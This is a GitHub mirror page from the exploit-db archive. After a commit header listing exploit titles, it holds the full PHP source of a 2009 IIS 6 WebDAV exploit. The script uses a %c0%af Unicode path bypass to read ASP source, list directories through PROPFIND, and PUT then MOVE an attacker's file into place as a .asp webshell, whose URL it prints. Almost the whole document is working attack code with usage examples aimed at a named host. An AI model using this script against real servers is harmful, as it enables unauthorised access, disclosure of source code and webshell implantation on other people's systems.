mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-12 16:07:19 -10:00
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
98 lines
3.0 KiB
PHP
Executable File
98 lines
3.0 KiB
PHP
Executable File
<?
|
|
|
|
print_r('
|
|
******** IIS 6 WEBDAV Exploit.By [email protected] && Securiteweb.org ********
|
|
|
|
Usage: php '.$argv[0].' source/path/put host path
|
|
Example: php '.$argv[0].' source www.tian6.com /blog/readme.asp
|
|
Example2: php '.$argv[0].' path www.tian6.com /secret/
|
|
Example3: php '.$argv[0].' put www.tian6.com /secret/ test.txt(evil code as test.txt)
|
|
****************************************************************
|
|
');
|
|
|
|
//verification du debut
|
|
if($argv[1]!="source"&&$argv[1]!="path"&&$argv[1]!="put"){echo "Choose a action,source or path or put.";die;}
|
|
else {$action=$argv[1];}
|
|
|
|
if(stristr($argv[2],"http://")){echo "No http:// in the host!";die;}
|
|
else{$host=$argv[2];}
|
|
|
|
if(stristr($argv[3],"/")==false){echo "Where is the / ?";die;}
|
|
else{$path=$argv[3];}
|
|
|
|
|
|
//sent
|
|
function sent($sock)
|
|
{
|
|
global $host, $html;
|
|
$ock=fsockopen(gethostbyname($host),'80');
|
|
if (!$ock) {
|
|
echo 'No response from '.$host; die;
|
|
}
|
|
fputs($ock,$sock);
|
|
$html='';
|
|
while (!feof($ock)) {
|
|
$html.=fgets($ock);
|
|
}
|
|
fclose($ock);
|
|
}
|
|
|
|
if($action=="source"){
|
|
$position=strrpos($path,"/");
|
|
$path=substr_replace($path,"%c0%af/",$position,1);
|
|
$sock="GET ".$path." HTTP/1.1\r\n";
|
|
$sock.="Translate: f\r\n";
|
|
$sock.="Host: ".$host."\r\n";
|
|
$sock.="Connection:close\r\n\r\n";
|
|
sent($sock);
|
|
echo $html;
|
|
die;
|
|
}
|
|
|
|
|
|
if($action=="path"){
|
|
$position=strrpos($path,"/");
|
|
$path=substr_replace($path,"%c0%af",$position,0);
|
|
$sock="PROPFIND ".$path." HTTP/1.1\r\n";
|
|
$sock.="Host: ".$host."\r\n";
|
|
$sock.="Connection:close\r\n";
|
|
$sock.='Content-Type: text/xml; charset="utf-8"'."\r\n";
|
|
$sock.="Content-Length: 0\r\n\r\n";
|
|
$sock.='<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop xmlns:R="http://www.foo.bar/boxschema/"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>';
|
|
sent($sock);
|
|
$bur=explode("<a:href>",$html);
|
|
foreach($bur as $line){$no=strpos($line,"<");$resultat.=substr($line,0,$no)."\n";}
|
|
echo $resultat;
|
|
die;
|
|
}
|
|
|
|
|
|
if($action=="put"){
|
|
echo "Remember,keep urfile in type txt!\r\n\r\n";
|
|
$fp = fopen("test.txt", 'r');
|
|
if($fp!=false){
|
|
while (false!==($char = fgets($fp))) {
|
|
$fir1 .= $char; # fix: hoahongtim Team: hvaonline.net
|
|
}
|
|
fclose($fp);
|
|
$position=strrpos($path,"/");
|
|
$path=substr_replace($path,"%c0%af",$position,0);
|
|
$sock="PUT ".$path."test.txt HTTP/1.1\r\n";
|
|
$sock.="Host: ".$host."\r\n";
|
|
$sock.='Content-Type: text/xml; charset="utf-8"'."\r\n";
|
|
$sock.="Connection:close\r\n";
|
|
$sock.="Content-Length: ".strlen($fir1)."\r\n\r\n";
|
|
$sock.="".$fir1."\r\n";
|
|
echo $sock; sent($sock);sleep(2);
|
|
$sock="MOVE ".$path."test.txt HTTP/1.1\r\n";
|
|
$sock.="Host: ".$host."\r\n";
|
|
$sock.="Connection:close\r\n";
|
|
$sock.="Destination: ".$path."racle.asp\n\n";
|
|
sent($sock);
|
|
echo "Be cool,man! Webshell is http://".$host.$path."racle.asp";
|
|
die;}
|
|
else{die;}
|
|
}
|
|
|
|
# milw0rm.com [2009-05-22]
|